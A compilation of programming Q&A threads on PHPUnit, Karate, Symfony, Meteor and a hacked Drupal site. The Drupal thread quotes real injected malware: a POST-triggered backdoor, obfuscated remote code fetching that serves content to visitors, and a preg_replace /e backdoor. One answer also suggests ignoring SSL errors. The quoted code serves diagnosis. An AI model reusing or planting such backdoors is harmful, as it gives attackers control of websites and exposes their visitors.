I am building a testing script which is checking the performance of a set of commands. The test script needs to let it run for a specific amount of time before failing the test.
I found the PerformanceTestCase in the PHPUnit documentation website, but when I tried to use it I realised that it's old functionality which hasn't been included within the new version. (That doc is PHPUnit 3.0, and my version is 3.5).
Is there an equivalent for this functionality within PHPUnit 3.5, and how do I use it?
Well, you could simply do something like
public function testFoo() {
$tStart = microtime( true );
// your time critical commands
$tDiff = microtime( true ) - $tStart;
$this->assertLessThan( $maxTime, $tDiff, 'Took too long' );
}
Of course this means that your commands will not be interrupted before being finished.
And IMO unittests are not meant for testing performance.
I ran into a smiliar issue today - I needed to test an external HTTP call was occuring within the allocated time.
Rather than build another loop or take $start and $end time readings - I exposed the timed_out param, detailed here http://www.php.net/manual/en/function.stream-get-meta-data.php
while (!feof($fp)) {
$info = stream_get_meta_data($fp);
if ($info['timed_out']) {
$this->timed_out = true;
fclose($fp);
throw new Exception("Request timed out");
}
else {
$response .= fgets($fp, 128);
}
}
fclose($fp);
Related
This question already has answers here:
Logging Messages from Java Class back to the Karate Report
(3 answers)
Closed 1 year ago.
I want to be able to write log statements, that get added to the karate.log file as well as to the Cucumber Reports that get generated when using standalone karate.jar.
When I use karate.log from a javascript function it only adds the log statement to the karate.log file and not the cucumber report.
I have also tried to do this from a java function as well by using both slf4j logger as well as the com.intuit.karate.Logger class. However both of these only add logs to the karate.log file and not to the cucumber reports.
I need this because I am writing some common code for which I don't want my QA-Engineers to write * print <> statements in the karate feature files.
I also looked at the com.intuit.karate.core.ScriptBridge.log(Object... objects) method which is what I am assuming gets called when you call karate.log(..), it looks like it should work, but it isn't working for me.
I am using karate-0.9.4, and here's what my karate-config.js looks like
function conf() {
var env = karate.env // set the environment that is to be used for executing the test scripts
var host = '<some-host-name>';
var port = '443';
var protocol = 'https';
var basePath = java.lang.System.getenv('GOPATH') + '/src/karate-tests';
// a custom 'intelligent' default
if (!env) {
env = 'dev';
}
var applicationURL = ((!port || port == '') || (port == '80' && protocol == 'http') || (port == '443' && protocol == 'https'))
? protocol + '://' + host
: protocol + '://' + host + ":" + port;
// Fail quickly if there is a problem establishing connection or if server takes too long to respond
karate.configure('connectTimeout', 30000);
karate.configure('readTimeout', 30000);
// pretty print request and response
//karate.configure('logPrettyRequest', true);
//karate.configure('logPrettyResponse', true);
karate.configure('printEnabled', true);
// do not print steps starting with * in the reports
//karate.configure('report',{showLog: true, showAllSteps: true });
// Turn off SSL certificate check
karate.configure('ssl', true);
var config = {
env: env,
appBaseURL: applicationURL,
sharedBasePath: basePath
};
karate.log("config.sharedBasePath = ", config.sharedBasePath)
karate.log('karate.env = ', config.env);
karate.log('config.appBaseURL = ', config.appBaseURL);
return config
}
This is because of a bug in karate-0.9.4 which seems to be partially fixed in karate-0.9.5.RC4 release. I have opened a ticket for it on GitHub - https://github.com/intuit/karate/issues/975
I just tried this in 0.9.5.RC4. If you are looking for something more than this - it needs a change in Karate. You are welcome to contribute. I have to say that I'm surprised (and somewhat annoyed) to see these requests. Why are you so concerned about pretty reports instead of focusing on testing. I'd like you to think about it.
This other discussion may be a related reference: https://github.com/intuit/karate/issues/951 | https://github.com/intuit/karate/issues/965
If you really want to pursue this, you can look at the "hook" interceptor mentioned in this comment: https://github.com/intuit/karate/issues/970#issuecomment-557443551
So in void afterStep(StepResult result, ScenarioContext context); - you can modify the StepResult by calling appendToStepLog(String log).
EDIT: other references:
https://stackoverflow.com/a/57079152/143475
https://stackoverflow.com/a/47366897/143475
I have a command in my Symfony app launched by Cron. I want to be able to limit the number of instances executed at the same time on my server, let's say 4 instances. I don't have any clue on how to do this. I found how to lock the command to launch the command only one time and wait for it to finish, but I don't know how to launch more than one and limit the number of instances anyway.
Do you have an idea ?
What you are looking for is a semaphore.
There is a LockComponent currently scheduled for 3.4 (was pulled from 3.3). It is a major improvement over the LockHandler in the FilesystemComponent.
In a pinch, you can probably pool a fixed number of locks from the LockHandler. I don't recommend it, because it uses flock on the filesystem. This limits the lock to a single server. Additionally, flock may be limited to the process scope on some systems.
<?php
use Symfony\Component\Filesystem\LockHandler;
define('LOCK_ID', 'some-identifier');
define('LOCK_MAX', 5);
$lockPool = [];
for ($i = 0; $i <= LOCK_MAX;) {
$lockHandle = sprintf('%s-%s.lock', LOCK_ID, ++$i);
$lockPool[$i] = new LockHandler($lockHandle);
}
$activeLock = null;
$lockTimeout = 60 * 1000;
$lockWaitStart = microtime(true);
while(!$activeLock) {
foreach ($lockPool as $lockHandler) {
if ($lockHandler->lock()) {
$activeLock = $lockHandler;
break 2;
}
}
if ($lockTimeout && ($lockTimeout > microtime(true) - $lockWaitStart)) {
break;
}
// Randomly wait between 0.1ms and 10ms
usleep(mt_rand(100, 10000));
}
A much better and efficient solution would be to use the semaphore extension and work some magic with ftok, shm_* and sem_*.
i suggest you to use a process control system as supervisor. it's pretty simple to use and you can choose how many instance of your script you start.
http://supervisord.org/
You could use a shared counter file which holds a counter that gets increased when the Command starts running and decreases it before it's finished.
Another solution would be checking the process list with something like this:
$processCount = exec('ps aux | grep "some part of the console command you run" | grep -v "grep" | wc -l' );
if(!empty($processCount) && $processCount >= X) {
return false;
}
You can create a "launcher command" executed by your cron or supervisor.
This Symfony commad can launch your instances with the process component on your server. You can also check whatever you want to check and do everything you want to do like the exec php function.
My hosting provider warned me that my bootstrap.inc file is connecting to an infected host. The issue is meant to be happening between 771 and 808 line of includes/bootstrap.inc file (code below).
This file is somehow changed constantly (once a week), from 120kb to 123kbs. Wherever this happens, I try to upload a clean file. If the file is changed/hacked, my hosting response is longer by 10-15 seconds.
The drupal 7 is updated to 7.41, the modules are up to date.
The code that's causing the issue, is somewhere between those lines (I suspect its the "cookie" part). This is the infected/added part my hosting provider warned me about:
$_passssword = '2505363ea355401256fe974720d85db8';
$p = $_POST;
if (#$p[$_passssword] AND #$p['a'] AND #$p['c']) #$p[$_passssword](#$p['a'], #$p['c'], '');
if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
echo('<!--checker_start ');
$tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
echo(substr($tmp, 50));
echo(' checker_end-->');
}
unset($_passssword);
$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
$bad_url = true;
break;
}
}
$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
// setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
// $url = base64_decode('a3d3czksLDA2LTs0LTUwLToxLGFvbGQsPGJvc2tiJXZ3blxwbHZxYGY+NDMwMDc5NDsyMjcyOTI6MjE=');
$url = decrypt_url('a3d3czksLDA2LTs0LTUwLToxLGFvbGQsPGJvc2tiJXZ3blxwbHZxYGY+NDMwMDc5NDsyMjcyOTI6MjE=');
$code = request_url_data($url);
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
$echo_done = true;
print $decoded;
}
}//iend
I'm no back-end developer and I've been using bootstrap for hobby related-project for over 8 years.
I tried to clean D7 (reuploaded fresh includes, modules and everything apart from /sites/). Tried to check this on some popular scanners.
Does anyone have any idea, how to block this changes to bootstrap.inc? Are there any successful tools for that, or modules for scanning? Or maybe someone recognizes the exploit and could give me a tip where its coming from?
Thank you in advance.
I had the same hack on my Drupal site. The code they put in the bootstrap.inc file looked almost identical to yours.
Apart of the changes to the bootstrap.inc the hackers installed multiple backdoors in various modules. I was able to find the backdoors using the Hacked module, which allows you to find modified files.
The backdoors in my Drupal looked similar to this code:
<?php #preg_replace('/(.*)/e', #$_POST['ttqdgkkfkolmt'], '');
This code uses a vulnerability in preg_replace, which allows the attackers to execute random PHP code using a simple HTTP post request. (The preg_replace vulnerably is resolved in PHP version > 5.5)
Hope this helped. Good luck finding the backdoors!
My application is not spiderable both on local and production.
When I go to http://localhost:3000/?_escaped_fragment_=, I can see the following error appears (phantom is killed after 15 seconds):
spiderable: phantomjs failed: { [Error: Command failed: ] killed: true, code: null, signal: 'SIGTERM' }
It seems that many other people got this problem:
https://github.com/gadicc/meteor-phantomjs/issues/1
https://groups.google.com/forum/#!msg/meteor-talk/Lnm9HFs4MgM/YKDMR80fVecJ
https://groups.google.com/forum/#!topic/meteor-talk/7ZbidddRGo4
The thing is I am not using observatory or select2 and all my publications return a cursor. According to me, the problem comes from the minification. I just read in this thread that someone succeed to display "SyntaxError: Parse error". How can I know more about what is going wrong with Phantom and which file is causing the problem?
This happens when spiderable is waiting for subscriptions that fail to return any data and end up timing out, as mentioned in some of the threads you linked.
Make sure that all of your publish functions are either returning a cursor, a (possibly empty) list of cursors, or sending this.ready().
Meteor APM may be useful in determining which publications aren't returning.
If you want to know more about what is wrong with phatomjs, you might try this code (1):
// Put your URL below, no "?_escaped_fragment_=" necessary
var url = "http://your-url.com/";
var page = require('webpage').create();
page.open(url);
setInterval(function() {
var ready = page.evaluate(function () {
if (typeof Meteor !== 'undefined'
&& typeof(Meteor.status) !== 'undefined'
&& Meteor.status().connected) {
Deps.flush();
return DDP._allSubscriptionsReady();
}
return false;
});
if (ready) {
var out = page.content;
out = out.replace(/<script[^>]+>(.|\n|\r)*?<\/script\s*>/ig, '');
out = out.replace('<meta name=\"fragment\" content=\"!\">', '');
console.log(out);
phantom.exit();
}
}, 100);
For use in local, install phantomjs. Then outside your app, create a file phantomtest.js with the code above. And run phantomjs phantomtest.js
Another thing that maybe you can try is to use UglifyJS to catch some errors in the minified JS file as Payner35 did.
My problem was coming from SSL. You can have a complete overview of what I did here.
Edit the spiderable source and add --ignore-ssl-errors=yes to the phantomjs command line, it will work.
I make some functional test with Symfony 2 and phpunit.
But i've some trouble with a Service.
Let me explain.
During my run test, i want to use some service used by the application. So i juste set my setUp function for setting the kernel :
static::$kernel = static::createKernel();
static::$kernel->boot();
$this->objectFactory = static::$kernel->getContainer()->get('some.application.objectfactory');
So i've this and in my function i need to used a service that return an object so i call my service like that
$var = $this->objectFactory->getObject($id);
and obviously in my tearDown function i just :
protected function tearDown()
{
$this->client->restart();
unset($this->client, $this->objectFactory);
}
So my problem is when i run a test i've this message :
Symfony\Component\DependencyInjection\Exception\InactiveScopeException: You cannot create a service ("request") of an inactive scope ("request").
And i can't find a way to solve this.
Did someone have any idea ??
My version of Symfony is 2.2.1 and my version of phpunit is 3.7.19
If someone can help me, i could be very happy.
I'm sorry if my English isn't so good.
EDIT
Maybe it could help someone, in the service i used that : :
$request = $this->container->get('request');
It seems to be the reason why it dosen't work, when i remove it, it doesn't say the error, but they still doesn't work.
EDIT
#Cyprian
According to you have change my code for what i want.
So i just add to my service, in the function that i want, the client (Client web test case), and then inside the function i just add this :
if (isset($client)) {
$request = $client->getRequest();
} else {
$request = $this->container->get('request');
}
So in my function where i call the service i've just this :
public function getObject($id)
{
//Get the service from the kernel
$service = static::$kernel->getContainer()->get('service');
$object = $service->getObject($id, $this->client);
}
and it works fine like this
#nifr
Your idea doesn't work for me, but i think your idea wasn't wrong, they just not works in my case
However Thanks for your help, i'm happy i works now, and i expect that post could help someone else
Try get request from the client, not service container:
$request = $this->client->getRequest();
In that way you can also get kernel and/or container:
$kernel = $this->client->getKernel();
$container = $this->client->getContainer();
One more useful tip: kernel from the client is rebooted between each two requests. So, for example if you pass your mock to client's container and do some request, in next request (after the first one) the container will not contain your mock.
There is no request available in phpUnit as long as you don't construct one.
If you want to test a request. create it like this:
use Symfony\Component\HttpFoundation\Request;
protected $request;
public function setUp()
{
// ...
$this->request = new Request();
// ... modify your request acccording to your needs
}
and add/call a setter in your Service using the request.
$service = $this->kernel->getContainer()->get('your_service')
$service->setRequest($this->request);
or create a Functional Test with WebtestCase.